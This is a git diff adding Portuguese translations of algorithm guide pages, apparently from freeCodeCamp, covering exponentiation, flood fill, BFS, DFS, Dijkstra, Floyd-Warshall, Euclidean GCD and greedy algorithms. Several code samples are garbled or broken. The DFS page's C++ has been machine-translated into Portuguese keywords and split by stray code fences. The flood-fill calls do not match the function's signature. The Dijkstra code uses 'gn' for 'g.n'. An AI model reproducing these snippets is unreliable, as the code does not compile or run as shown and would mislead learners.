diff --git a/client/src/guide/portuguese/algorithms/evaluating-polynomials-direct-analysis/index.md b/client/src/guide/portuguese/algorithms/evaluating-polynomials-direct-analysis/index.md
new file mode 100644
index 0000000000..0396def770
--- /dev/null
+++ b/client/src/guide/portuguese/algorithms/evaluating-polynomials-direct-analysis/index.md
@@ -0,0 +1,11 @@
+---
+title: Evaluating Polynomials Direct Analysis
+localeTitle: Avaliação da análise direta de polinômios
+---
+## Avaliação da análise direta de polinômios
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/algorithms/evaluating-polynomials-direct-analysis/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/algorithms/evaluating-polynomials-synthetic-division/index.md b/client/src/guide/portuguese/algorithms/evaluating-polynomials-synthetic-division/index.md
new file mode 100644
index 0000000000..901dc60e97
--- /dev/null
+++ b/client/src/guide/portuguese/algorithms/evaluating-polynomials-synthetic-division/index.md
@@ -0,0 +1,11 @@
+---
+title: Evaluating Polynomials Synthetic Division
+localeTitle: Avaliação da Divisão Sintética de Polinômios
+---
+## Avaliação da Divisão Sintética de Polinômios
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/algorithms/evaluating-polynomials-synthetic-division/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/algorithms/exponentiation/index.md b/client/src/guide/portuguese/algorithms/exponentiation/index.md
new file mode 100644
index 0000000000..35b910863f
--- /dev/null
+++ b/client/src/guide/portuguese/algorithms/exponentiation/index.md
@@ -0,0 +1,61 @@
+---
+title: Exponentiation
+localeTitle: Exponenciação
+---
+## Exponenciação
+
+Dados dois inteiros a e n, escreva uma função para calcular um ^ n.
+
+#### Código
+
+Paradigma Algorítmico: Divida e conquiste.
+
+```C
+int power(int x, unsigned int y) { 
+    if (y == 0) 
+        return 1; 
+    else if (y%2 == 0) 
+        return power(x, y/2)*power(x, y/2); 
+    else 
+        return x*power(x, y/2)*power(x, y/2); 
+ } 
+```
+
+Complexidade do Tempo: O (n) | Complexidade Espacial: O (1)
+
+#### Solução otimizada: O (logn)
+
+```C
+int power(int x, unsigned int y) { 
+    int temp; 
+    if( y == 0) 
+        return 1; 
+    temp = power(x, y/2); 
+    if (y%2 == 0) 
+        return temp*temp; 
+    else 
+        return x*temp*temp; 
+ } 
+```
+
+## Exponenciação Modular
+
+Dados três números x, y e p, compute (x ^ y)% p
+
+```C
+int power(int x, unsigned int y, int p) { 
+    int res = 1; 
+    x = x % p; 
+    while (y > 0) { 
+        if (y & 1) 
+            res = (res*x) % p; 
+ 
+        // y must be even now 
+        y = y>>1; 
+        x = (x*x) % p; 
+    } 
+    return res; 
+ } 
+```
+
+Complexidade do Tempo: O (Log y).
\ No newline at end of file
diff --git a/client/src/guide/portuguese/algorithms/flood-fill/index.md b/client/src/guide/portuguese/algorithms/flood-fill/index.md
new file mode 100644
index 0000000000..464363146a
--- /dev/null
+++ b/client/src/guide/portuguese/algorithms/flood-fill/index.md
@@ -0,0 +1,100 @@
+---
+title: Flood Fill Algorithm
+localeTitle: Algoritmo de preenchimento de inundações
+---
+## Algoritmo de preenchimento de inundações
+
+O preenchimento de inundação é um algoritmo usado principalmente para determinar uma área limitada conectada a um determinado nó em uma matriz multidimensional. Isto é uma grande semelhança com a ferramenta balde em programas de pintura.
+
+A implementação mais aproximada do algoritmo é uma função recursiva baseada em pilha, e é sobre isso que vamos falar Próximo.
+
+### Como funciona?
+
+O problema é bastante simples e geralmente segue estas etapas:
+
+1.  Tome a posição do ponto de partida.
+2.  Decida se deseja ir em 4 direções ( **N, S, W, E** ) ou 8 direções ( **N, S, W, E, NW, NE, SW, SE** ).
+3.  Escolha uma cor de substituição e uma cor de destino.
+4.  Viaje nessas direções.
+5.  Se o piso em que você pousar for um alvo, reaplique-o com a cor escolhida.
+6.  Repita 4 e 5 até que você esteja em todos os lugares dentro dos limites.
+
+Vamos pegar o seguinte array como exemplo:
+
+![texto alternativo](https://github.com/firealex2/Codingame/blob/master/small%208%20grid%20paintefffd.png)
+
+O quadrado vermelho é o ponto de partida e os quadrados cinzentos são as chamadas paredes.
+
+Para mais detalhes, aqui está um trecho de código descrevendo a função:
+
+```c++
+int wall = -1; 
+ 
+ void flood_fill(int pos_x, int pos_y, int target_color, int color) 
+ { 
+ 
+   if(a[pos_x][pos_y] == wall || a[pos_x][pos_y] == color) // if there is no wall or if i haven't been there 
+      return;                                              // already go back 
+ 
+   if(a[pos_x][pos_y] != target_color) // if it's not color go back 
+      return; 
+ 
+   a[pos_x][pos_y] = color; // mark the point so that I know if I passed through it. 
+ 
+   flood_fill(pos_x + 1, pos_y, color);  // then i can either go south 
+   flood_fill(pos_x - 1, pos_y, color);  // or north 
+   flood_fill(pos_x, pos_y + 1, color);  // or east 
+   flood_fill(pos_x, pos_y - 1, color);  // or west 
+ 
+   return; 
+ 
+ } 
+```
+
+Como visto acima, meu ponto de partida é (4,4). Depois de chamar a função para as coordenadas iniciais **x = 4** e **y = 4** , Eu posso começar a verificar se não há parede ou cor no local. Se isso for válido, marquei o ponto com uma **"cor"** e comece a verificar os outros quadrados adjacentes.
+
+Indo para o sul, chegaremos ao ponto (5,4) e a função será executada novamente.
+
+### Problema de exercício
+
+Eu sempre considerei que resolver um (ou mais) problema / s usando um novo algoritmo aprendido é a melhor maneira de entender completamente o conceito.
+
+Então aqui está um:
+
+**Declaração:**
+
+Em uma matriz bidimensional, você recebe um número de **"ilhas"** . Tente encontrar a maior área de uma ilha e o número da ilha correspondente. 0 marca a água e qualquer outro x entre 1 e n marca um quadrado da superfície correspondente para ilha x.
+
+**Entrada**
+
+*   **n** - o número de ilhas.
+*   **l, c** - as dimensões da matriz.
+*   as próximas linhas **l** , números **c** que dão a linha **l** da matriz.
+
+**Saída**
+
+*   **i** - o número da ilha com a maior área.
+*   **A** - a área do **i** 'th ilha.
+
+**Ex:**
+
+Você tem a seguinte entrada:
+
+```c++
+2 4 4 
+ 0 0 0 1 
+ 0 0 1 1 
+ 0 0 0 2 
+ 2 2 2 2 
+```
+
+Para o qual você terá ilha não. 2 como a maior ilha com a área de 5 praças.
+
+### Dicas
+
+O problema é bem fácil, mas aqui estão algumas dicas:
+```
+1. Use the flood-fill algorithm whenever you encounter a new island. 
+ 2. As opposed to the sample code, you should go through the area of the island and not on the ocean (0 tiles). 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/algorithms/graph-algorithms/breadth-first-search/index.md b/client/src/guide/portuguese/algorithms/graph-algorithms/breadth-first-search/index.md
new file mode 100644
index 0000000000..797dc7efc2
--- /dev/null
+++ b/client/src/guide/portuguese/algorithms/graph-algorithms/breadth-first-search/index.md
@@ -0,0 +1,125 @@
+---
+title: Breadth First Search (BFS)
+localeTitle: Largura da Primeira Pesquisa (BFS)
+---
+## Largura da Primeira Pesquisa (BFS)
+
+Largura A primeira pesquisa é um dos algoritmos gráficos mais simples. Ele percorre o gráfico verificando primeiro o nó atual e expandindo-o adicionando seus sucessores ao próximo nível. O processo é repetido para todos os nós no nível atual antes de passar para o próximo nível. Se a solução for encontrada, a pesquisa será interrompida.
+
+### Visualização
+
+![](https://upload.wikimedia.org/wikipedia/commons/4/46/Animated_BFS.gif)
+
+### Avaliação
+
+Complexidade do espaço: O (n)
+
+Pior complexidade do tempo de caso: O (n)
+
+Largura A primeira pesquisa é concluída em um conjunto finito de nós e é ideal se o custo de mover de um nó para outro é constante.
+
+### Código C ++ para implementação do BFS
+
+```cpp
+// Program to print BFS traversal from a given 
+ // source vertex. BFS(int s) traverses vertices 
+ // reachable from s. 
+ #include<iostream> 
+ #include <list> 
+ 
+ using namespace std; 
+ 
+ // This class represents a directed graph using 
+ // adjacency list representation 
+ class Graph 
+ { 
+    int V;    // No. of vertices 
+ 
+    // Pointer to an array containing adjacency 
+    // lists 
+    list<int> *adj; 
+ public: 
+    Graph(int V);  // Constructor 
+ 
+    // function to add an edge to graph 
+    void addEdge(int v, int w); 
+ 
+    // prints BFS traversal from a given source s 
+    void BFS(int s); 
+ }; 
+ 
+ Graph::Graph(int V) 
+ { 
+    this->V = V; 
+    adj = new list<int>[V]; 
+ } 
+ 
+ void Graph::addEdge(int v, int w) 
+ { 
+    adj[v].push_back(w); // Add w to v's list. 
+ } 
+ 
+ void Graph::BFS(int s) 
+ { 
+    // Mark all the vertices as not visited 
+    bool *visited = new bool[V]; 
+    for(int i = 0; i < V; i++) 
+        visited[i] = false; 
+ 
+    // Create a queue for BFS 
+    list<int> queue; 
+ 
+    // Mark the current node as visited and enqueue it 
+    visited[s] = true; 
+    queue.push_back(s); 
+ 
+    // 'i' will be used to get all adjacent 
+    // vertices of a vertex 
+    list<int>::iterator i; 
+ 
+    while(!queue.empty()) 
+    { 
+        // Dequeue a vertex from queue and print it 
+        s = queue.front(); 
+        cout << s << " "; 
+        queue.pop_front(); 
+ 
+        // Get all adjacent vertices of the dequeued 
+        // vertex s. If a adjacent has not been visited, 
+        // then mark it visited and enqueue it 
+        for (i = adj[s].begin(); i != adj[s].end(); ++i) 
+        { 
+            if (!visited[*i]) 
+            { 
+                visited[*i] = true; 
+                queue.push_back(*i); 
+            } 
+        } 
+    } 
+ } 
+ 
+ // Driver program to test methods of graph class 
+ int main() 
+ { 
+    // Create a graph given in the above diagram 
+    Graph g(4); 
+    g.addEdge(0, 1); 
+    g.addEdge(0, 2); 
+    g.addEdge(1, 2); 
+    g.addEdge(2, 0); 
+    g.addEdge(2, 3); 
+    g.addEdge(3, 3); 
+ 
+    cout << "Following is Breadth First Traversal " 
+         << "(starting from vertex 2) \n"; 
+    g.BFS(2); 
+ 
+    return 0; 
+ } 
+```
+
+#### Mais Informações:
+
+[Gráficos](https://github.com/freecodecamp/guides/computer-science/data-structures/graphs/index.md)
+
+[Primeira pesquisa de profundidade (DFS)](https://github.com/freecodecamp/guides/tree/master/src/pages/algorithms/graph-algorithms/depth-first-search/index.md)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/algorithms/graph-algorithms/depth-first-search/index.md b/client/src/guide/portuguese/algorithms/graph-algorithms/depth-first-search/index.md
new file mode 100644
index 0000000000..a687f2f7c0
--- /dev/null
+++ b/client/src/guide/portuguese/algorithms/graph-algorithms/depth-first-search/index.md
@@ -0,0 +1,105 @@
+---
+title: Depth First Search (DFS)
+localeTitle: Primeira pesquisa de profundidade (DFS)
+---
+## Primeira pesquisa de profundidade (DFS)
+
+Profundidade A primeira pesquisa é um dos algoritmos gráficos mais simples. Ele percorre o gráfico verificando primeiro o nó atual e, em seguida, movendo-se para um de seus sucessores para repetir o processo. Se o nó atual não tiver um sucessor para verificar, retornamos ao predecessor e o processo continua (mudando para outro sucessor). Se a solução for encontrada, a pesquisa será interrompida.
+
+### Visualização
+
+![](https://upload.wikimedia.org/wikipedia/commons/7/7f/Depth-First-Search.gif)
+
+### Implementação (C ++ 14)
+
+\`\` \`c ++
+
+# incluir
+
+# incluir
+
+# incluir
+
+# incluir
+
+usando namespace std;
+
+class Graph { na TV; // número de vértices
+```
+// pointer to a vector containing adjacency lists 
+ vector < int > *adj; 
+```
+
+público: Gráfico (int v); // Construtor
+```
+// function to add an edge to graph 
+ void add_edge(int v, int w); 
+ 
+ // prints dfs traversal from a given source `s` 
+ void dfs(); 
+ void dfs_util(int s, vector < bool> &visited); 
+```
+
+};
+
+Gráfico :: Gráfico (int v) { isso -> v = v; adj = novo vetor <int> \[v\]; }
+
+void Graph :: add _edge (int u, int v) { adj \[u\] .push de_ volta (v); // adiciona v à lista de u adj \[v\] .push de _volta (v); // adicione u à lista de v (remova essa declaração se o gráfico for direcionado!) } void Graph :: dfs () { // visited vector - para acompanhar os nós visitados durante o DFS vetor <bool> visitado (v, falso); // marcando todos os nós / vértices como não visitados para (int i = 0; i <v; i ++) if (! visitou \[i\]) dfs_ util (i, visitado); } // observe o uso de chamada por referência aqui! void Graph :: dfs\_util (int s, vetor <bool> e visitado) { // marcar o nó / vértice atual como visitado visitou \[s\] = verdadeiro; // saída para a saída padrão (tela) cout << s << "";
+```
+// traverse its adjacency list and recursively call dfs_util for all of its neighbours! 
+ // (only if the neighbour has not been visited yet!) 
+ for(vector < int > :: iterator itr = adj[s].begin(); itr != adj[s].end(); itr++) 
+    if(!visited[*itr]) 
+        dfs_util(*itr, visited); 
+```
+
+}
+
+int main () { // cria um gráfico usando a classe Graph que definimos acima Gráfico g (4); g.add _edge (0, 1); g.add_ edge (0, 2); g.add _edge (1, 2); g.add_ edge (2, 0); g.add _edge (2, 3); g.add_ edge (3, 3);
+```
+cout << "Following is the Depth First Traversal of the provided graph" 
+     << "(starting from vertex 0): "; 
+ g.dfs(); 
+ // output would be: 0 1 2 3 
+ return 0; 
+```
+
+}
+```
+### Evaluation 
+ 
+ Space Complexity: O(n) 
+ 
+ Worse Case Time Complexity: O(n) 
+ Depth First Search is complete on a finite set of nodes. I works better on shallow trees. 
+ 
+ ### Implementation of DFS in C++ 
+```
+
+c ++
+
+# incluir
+
+# incluir
+
+# incluir
+
+usando namespace std;
+
+struct graph { na TV; bool \* _adj; público: Gráfico (int vcount); void addEdge (int u, int v); void deleteEdge (int u, int v); vetor_ _DFS (int s); void DFSUtil (int s, vetor_ _& dfs, vetor_ _&visitou); }; Gráfico :: Graph (int vcount) { isto-> v = vcount; this-> adj = novo bool_ \[vcount\]; para (int i = 0; i
+
+void Graph :: addEdge (int u, int w) { this-> adj \[u\] \[w\] = verdadeiro; isto-> adj \[w\] \[u\] = verdadeiro; }
+
+void Graph :: deleteEdge (int u, int w) { isto-> adj \[u\] \[w\] = falso; isto-> adj \[w\] \[u\] = falso; }
+
+void Graph :: DFSUtil (int s, vetor & dfs, vetor &visitou){ visitou \[s\] = verdadeiro; dfs.push\_back (s); para (int i = 0; i v; i ++) { if (this-> adj \[s\] \[i\] == verdadeiro && visitado \[i\] == falso) DFSUtil (i, dfs, visitado); } }
+
+vetor Gráfico :: DFS (int s) { vetor visitado (this-> v); vetor dfs; DFSUtil (s, dfs, visitado); return dfs; } \`\` \`
+
+#### Mais Informações:
+
+[Gráficos](https://github.com/freecodecamp/guides/computer-science/data-structures/graphs/index.md)
+
+[Largura da Primeira Pesquisa (BFS)](https://github.com/freecodecamp/guides/tree/master/src/pages/algorithms/graph-algorithms/breadth-first-search/index.md)
+
+[Primeira pesquisa de profundidade (DFS) - Wikipedia](https://en.wikipedia.org/wiki/Depth-first_search)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/algorithms/graph-algorithms/dijkstra/index.md b/client/src/guide/portuguese/algorithms/graph-algorithms/dijkstra/index.md
new file mode 100644
index 0000000000..4331086db8
--- /dev/null
+++ b/client/src/guide/portuguese/algorithms/graph-algorithms/dijkstra/index.md
@@ -0,0 +1,95 @@
+---
+title: Dijkstra's Algorithm
+localeTitle: Algoritmo de Dijkstra
+---
+# Algoritmo de Dijkstra
+
+Algoritmo de Dijkstra é um algoritmo gráfico apresentado por EW Dijkstra. Ele encontra o caminho mais curto de fonte única em um gráfico com bordas não negativas (por quê?)
+
+Criamos 2 arrays: visited e distance, que registram se um vértice é visitado e qual é a distância mínima do vértice fonte, respectivamente. A matriz inicialmente visitada é designada como falsa e a distância como infinita.
+
+Nós começamos a partir do vértice fonte. Deixe o vértice atual ser u e seus vértices adjacentes sejam v. Agora, para cada v que é adjacente a u, a distância é atualizada se não tiver sido visitada antes e a distância de u for menor que sua distância atual. Em seguida, selecionamos o próximo vértice com a menor distância e que não foi visitado.
+
+Fila de prioridade é frequentemente usada para atender a esse último requisito no menor período de tempo. Abaixo está uma implementação da mesma ideia usando a fila de prioridades em Java.
+
+```java
+import java.util.*; 
+ public class Dijkstra { 
+    class Graph { 
+    LinkedList<Pair<Integer>> adj[]; 
+    int n; // Number of vertices. 
+    Graph(int n) { 
+        this.n = n; 
+        adj = new LinkedList[n]; 
+        for(int i = 0;i<n;i++) adj[i] = new LinkedList<>(); 
+    } 
+    // add a directed edge between vertices a and b with cost as weight 
+    public void addEdgeDirected(int a, int b, int cost) { 
+        adj[a].add(new Pair(b, cost)); 
+    } 
+    public void addEdgeUndirected(int a, int b, int cost) { 
+        addEdgeDirected(a, b, cost); 
+        addEdgeDirected(b, a, cost); 
+    } 
+    } 
+    class Pair<E> { 
+    E first; 
+    E second; 
+    Pair(E f, E s) { 
+        first = f; 
+        second = s; 
+    } 
+    } 
+ 
+    // Comparator to sort Pairs in Priority Queue 
+    class PairComparator implements Comparator<Pair<Integer>> { 
+    public int compare(Pair<Integer> a, Pair<Integer> b) { 
+        return a.second - b.second; 
+    } 
+    } 
+ 
+    // Calculates shortest path to each vertex from source and returns the distance 
+    public int[] dijkstra(Graph g, int src) { 
+    int distance[] = new int[gn]; // shortest distance of each vertex from src 
+    boolean visited[] = new boolean[gn]; // vertex is visited or not 
+    Arrays.fill(distance, Integer.MAX_VALUE); 
+    Arrays.fill(visited, false); 
+    PriorityQueue<Pair<Integer>> pq = new PriorityQueue<>(100, new PairComparator()); 
+        pq.add(new Pair<Integer>(src, 0)); 
+    distance[src] = 0; 
+    while(!pq.isEmpty()) { 
+        Pair<Integer> x = pq.remove(); // Extract vertex with shortest distance from src 
+        int u = x.first; 
+        visited[u] = true; 
+        Iterator<Pair<Integer>> iter = g.adj[u].listIterator(); 
+        // Iterate over neighbours of u and update their distances 
+        while(iter.hasNext()) { 
+        Pair<Integer> y = iter.next(); 
+        int v = y.first; 
+        int weight = y.second; 
+        // Check if vertex v is not visited 
+        // If new path through u offers less cost then update distance array and add to pq 
+        if(!visited[v] && distance[u]+weight<distance[v]) { 
+            distance[v] = distance[u]+weight; 
+            pq.add(new Pair(v, distance[v])); 
+        } 
+        } 
+    } 
+    return distance; 
+    } 
+ 
+    public static void main(String args[]) { 
+    Dijkstra d = new Dijkstra(); 
+    Dijkstra.Graph g = d.new Graph(4); 
+    g.addEdgeUndirected(0, 1, 2); 
+    g.addEdgeUndirected(1, 2, 1); 
+    g.addEdgeUndirected(0, 3, 6); 
+    g.addEdgeUndirected(2, 3, 1); 
+    g.addEdgeUndirected(1, 3, 3); 
+ 
+    int dist[] = d.dijkstra(g, 0); 
+    System.out.println(Arrays.toString(dist)); 
+    } 
+ } 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/algorithms/graph-algorithms/floyd-warshall-algorithm/index.md b/client/src/guide/portuguese/algorithms/graph-algorithms/floyd-warshall-algorithm/index.md
new file mode 100644
index 0000000000..a308f3f20d
--- /dev/null
+++ b/client/src/guide/portuguese/algorithms/graph-algorithms/floyd-warshall-algorithm/index.md
@@ -0,0 +1,48 @@
+---
+title: Floyd Warshall Algorithm
+localeTitle: Algoritmo de Floyd Warshall
+---
+## Algoritmo de Floyd Warshall
+
+O algoritmo de Floyd Warshall é um ótimo algoritmo para encontrar a menor distância entre todos os vértices no gráfico. Ele tem um algoritmo muito conciso e complexidade de tempo O (V ^ 3) (onde V é o número de vértices). Pode ser usado com pesos negativos, embora ciclos de peso negativos não devam estar presentes no gráfico.
+
+### Avaliação
+
+Complexidade do espaço: O (V ^ 2)
+
+Pior complexidade do tempo de caso: O (V ^ 3)
+
+### Implementação em Python
+
+```python
+# A large value as infinity 
+ inf = 1e10 
+ 
+ def floyd_warshall(weights): 
+    V = len(weights) 
+    distance_matrix = weights 
+    for k in range(V): 
+        next_distance_matrix = [list(row) for row in distance_matrix] # make a copy of distance matrix 
+        for i in range(V): 
+            for j in range(V): 
+                # Choose if the k vertex can work as a path with shorter distance 
+                next_distance_matrix[i][j] = min(distance_matrix[i][j], distance_matrix[i][k] + distance_matrix[k][j]) 
+        distance_matrix = next_distance_matrix # update 
+    return distance_matrix 
+ 
+ # A graph represented as Adjacency matrix 
+ graph = [ 
+    [0, inf, inf, -3], 
+    [inf, 0, inf, 8], 
+    [inf, 4, 0, -2], 
+    [5, inf, 3, 0] 
+ ] 
+ 
+ print(floyd_warshall(graph)) 
+```
+
+#### Mais Informações:
+
+[Gráficos](https://github.com/freecodecamp/guides/computer-science/data-structures/graphs/index.md)
+
+[Floyd Warshall - Wikipédia, a enciclopédia livre](https://en.wikipedia.org/wiki/Floyd%E2%80%93Warshall_algorithm)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/algorithms/graph-algorithms/index.md b/client/src/guide/portuguese/algorithms/graph-algorithms/index.md
new file mode 100644
index 0000000000..bc5bc1c367
--- /dev/null
+++ b/client/src/guide/portuguese/algorithms/graph-algorithms/index.md
@@ -0,0 +1,23 @@
+---
+title: Graph algorithms
+localeTitle: Algoritmos gráficos
+---
+## Algoritmos gráficos
+
+Algoritmos gráficos são um conjunto de instruções que atravessam (visitas de um gráfico).
+
+Alguns algoritmos são usados ​​para encontrar um nó específico ou o caminho entre dois nós especificados.
+
+### Por que os algoritmos gráficos são importantes?
+
+Os gráficos são estruturas de dados muito úteis que podem ser modelar vários problemas. Esses algoritmos têm aplicativos diretos em sites de redes sociais, modelagem de máquinas de estado e muito mais.
+
+### Algoritmos comuns de grafos
+
+Alguns dos algoritmos gráficos mais comuns são:
+
+[Gráficos](https://github.com/freecodecamp/guides/computer-science/data-structures/graphs/index.md)
+
+[Largura da Primeira Pesquisa (BFS)](https://github.com/freecodecamp/guides/tree/master/src/pages/algorithms/graph-algorithms/breadth-first-search/index.md)
+
+[Primeira pesquisa de profundidade (DFS)](https://github.com/freecodecamp/guides/tree/master/src/pages/algorithms/graph-algorithms/depth-first-search/index.md)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/algorithms/greatest-common-divisor-direct-analysis/index.md b/client/src/guide/portuguese/algorithms/greatest-common-divisor-direct-analysis/index.md
new file mode 100644
index 0000000000..4f0191a00c
--- /dev/null
+++ b/client/src/guide/portuguese/algorithms/greatest-common-divisor-direct-analysis/index.md
@@ -0,0 +1,11 @@
+---
+title: Greatest Common Divisor Direct Analysis
+localeTitle: Maior análise direta do divisor comum
+---
+## Maior análise direta do divisor comum
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/algorithms/greatest-common-divisor-direct-analysis/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/algorithms/greatest-common-divisor-euclidean/index.md b/client/src/guide/portuguese/algorithms/greatest-common-divisor-euclidean/index.md
new file mode 100644
index 0000000000..d528a27062
--- /dev/null
+++ b/client/src/guide/portuguese/algorithms/greatest-common-divisor-euclidean/index.md
@@ -0,0 +1,75 @@
+---
+title: Greatest Common Divisor Euclidean
+localeTitle: Maior Divisor Comum Euclidiano
+---
+## Maior Divisor Comum Euclidiano
+
+Para este tópico, você deve saber sobre o Greatest Common Divisor (GCD) e a operação MOD primeiro.
+
+#### Maior Divisor Comum (GCD)
+
+O GCD de dois ou mais inteiros é o maior número inteiro que divide cada um dos números inteiros, de modo que o restante seja zero.
+
+Exemplo-  
+GCD de 20, 30 = 10 _(10 é o maior número que divide 20 e 30 com o restante como 0)_  
+GCD de 42, 120, 285 = 3 _(3 é o maior número que divide 42, 120 e 285 com o restante como 0)_
+
+#### Operação "mod"
+
+A operação mod fornece o restante quando dois inteiros positivos são divididos. Nós escrevemos como segue-  
+`A mod B = R`
+
+Isto significa que dividir A por B lhe dá o resto R, isto é diferente de sua operação de divisão que lhe dá o quociente.
+
+Exemplo-  
+7 mod 2 = 1 _(dividindo 7 por 2 dá o resto 1)_  
+42 mod 7 = 0 _(dividindo 42 por 7 dá o resto 0)_
+
+Com os dois conceitos acima compreendidos, você compreenderá facilmente o Algoritmo Euclidiano.
+
+### Algoritmo Euclidiano para o Maior Divisor Comum (GCD)
+
+O Algoritmo Euclidiano encontra o GCD de 2 números.
+
+Você entenderá melhor esse Algoritmo ao vê-lo em ação. Supondo que você queira calcular o GCD de 1220 e 516, vamos aplicar o Algoritmo Euclidiano -
+
+Supondo que você queira calcular o GCD de 1220 e 516, vamos aplicar o Algoritmo Euclidiano - ![Exemplo Euclidiano](https://i.imgur.com/aa8oGgP.png)
+
+Pseudocódigo do Algoritmo  
+Etapa 1: **Seja `a, b` os dois números**  
+Etapa 2: **`a mod b = R`**  
+Etapa 3: **deixe `a = b` e `b = R`**  
+Passo 4: **Repita os passos 2 e 3 até que o `a mod b` seja maior que 0**  
+Etapa 5: **GCD = b**  
+Etapa 6: finalizar
+
+Código JavaScript para executar o GCD-
+
+```javascript
+function gcd(a, b) { 
+  var R; 
+  while ((a % b) > 0)  { 
+    R = a % b; 
+    a = b; 
+    b = R; 
+  } 
+  return b; 
+ } 
+```
+
+Código Javascript para executar o GCD usando Recursion-
+
+```javascript
+function gcd(a, b) { 
+  if (b == 0) 
+    return a; 
+  else 
+    return gcd(b, (a % b)); 
+ } 
+```
+
+Você também pode usar o Algoritmo Euclidiano para encontrar o GCD de mais de dois números. Como o GCD é associativo, a seguinte operação é válida - `GCD(a,b,c) == GCD(GCD(a,b), c)`
+
+Calcule o GCD dos dois primeiros números e depois encontre o GCD do resultado e o próximo número. Exemplo - `GCD(203,91,77) == GCD(GCD(203,91),77) == GCD(7, 77) == 7`
+
+Você pode encontrar GCD de `n` números da mesma maneira.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/algorithms/greedy-algorithms/index.md b/client/src/guide/portuguese/algorithms/greedy-algorithms/index.md
new file mode 100644
index 0000000000..09386d0675
--- /dev/null
+++ b/client/src/guide/portuguese/algorithms/greedy-algorithms/index.md
@@ -0,0 +1,89 @@
+---
+title: Greedy Algorithms
+localeTitle: Algoritmos Greedy
+---
+## O que é um algoritmo ganancioso
+
+Você deve ter ouvido falar sobre muitas técnicas de design algorítmico enquanto analisa alguns dos artigos aqui. Alguns deles são :
+
+*   Força bruta
+*   Dividir e conquistar
+*   Programação gananciosa
+*   Programaçao dinamica para nomear alguns. Neste artigo, você aprenderá sobre o que é um algoritmo guloso e como você pode usar essa técnica para resolver muitos problemas de programação que, de outra forma, não parecem triviais.
+
+Imagine que você está indo para caminhadas e seu objetivo é atingir o maior pico possível. Você já tem o mapa antes de começar, mas existem milhares de caminhos possíveis mostrados no mapa. Você é muito preguiçoso e simplesmente não tem tempo para avaliar cada um deles. Aparafuse o mapa! Você começou a caminhar com uma estratégia simples - ser ganancioso e míope. Apenas pegue caminhos que se inclinem mais para cima. Esta parece ser uma boa estratégia para caminhadas. Mas é sempre o melhor?
+
+Depois que a viagem termina e todo o seu corpo está dolorido e cansado, você olha para o mapa de trilhas pela primeira vez. Meu Deus! Há um rio lamacento que eu deveria ter atravessado, em vez de continuar subindo. Isso significa que um algoritmo guloso escolhe a melhor opção imediata e nunca reconsidera suas escolhas. Em termos de otimização de uma solução, isso significa simplesmente que a solução gulosa tentará encontrar soluções ótimas locais - que podem ser muitas - e poderá perder uma solução global ideal.
+
+## Definição formal
+
+Suponha que você tenha uma função objetiva que precisa ser otimizada (maximizada ou minimizada) em um determinado ponto. Um algoritmo Greedy faz escolhas gananciosas em cada etapa para garantir que a função objetivo seja otimizada. O algoritmo Greedy tem apenas uma chance para calcular a solução ótima, para que ela nunca retorne e reverta a decisão.
+
+### Algoritmos gananciosos têm algumas vantagens e desvantagens:
+
+*   É muito fácil criar um algoritmo guloso (ou mesmo vários algoritmos gulosos) para um problema. Analisar o tempo de execução para algoritmos gulosos geralmente será muito mais fácil do que para outras técnicas (como Dividir e conquistar). Para a técnica de dividir e conquistar, não está claro se a técnica é rápida ou lenta. Isso ocorre porque, em cada nível de recursão, o tamanho diminui e o número de subproblemas aumenta.
+    
+*   A parte difícil é que, para algoritmos gulosos, é preciso trabalhar muito mais para entender os problemas de correção. Mesmo com o algoritmo correto, é difícil provar por que está correto. Provar que um algoritmo guloso é correto é mais uma arte do que uma ciência. Envolve muita criatividade. Normalmente, a criação de um algoritmo pode parecer trivial, mas provar que é realmente correto é um problema completamente diferente.
+    
+
+## Problema de agendamento de intervalos
+
+Vamos mergulhar em um problema interessante que você pode encontrar em quase qualquer indústria ou qualquer tipo de vida. Algumas instâncias do problema são as seguintes:
+
+*   Você é dado um conjunto de N horários de palestras para um único dia em uma universidade. A programação para uma aula específica é da forma (s _tempo, f_ tempo) onde s _hora representa a hora de início daquela aula e da mesma forma o f_ representa o tempo de término. Dada uma lista de N horários de palestras, precisamos selecionar um conjunto máximo de palestras a serem realizadas durante o dia, de modo que **nenhuma das palestras se sobreponha, ou seja, se as lições Li e Lj estiverem incluídas em nossa seleção, então > = fim do tempo de i ou vice-versa** .
+    
+*   Seu amigo está trabalhando como conselheiro do acampamento, e ele é responsável por organizar atividades para um grupo de campistas. Um de seus planos é o seguinte exercício de mini-triathlon: cada competidor deve nadar 20 voltas de uma piscina, depois pedalar 10 milhas e correr 3 milhas.
+    
+*   O plano é enviar os competidores de maneira escalonada, através da seguinte regra: os competidores devem usar a piscina um de cada vez. Em outras palavras, primeiro um participante nada as 20 voltas, sai e começa a andar de bicicleta.
+    
+*   Assim que esta primeira pessoa estiver fora da piscina, um segundo competidor começa a nadar nas 20 voltas; assim que ele sai e começa a andar de bicicleta, um terceiro competidor começa a nadar e assim por diante.
+    
+*   Cada competidor tem um tempo de natação projetado, um tempo de ciclismo projetado e um tempo de execução projetado. Seu amigo quer decidir sobre uma programação para o triatlo: uma ordem para sequenciar o início dos competidores.
+    
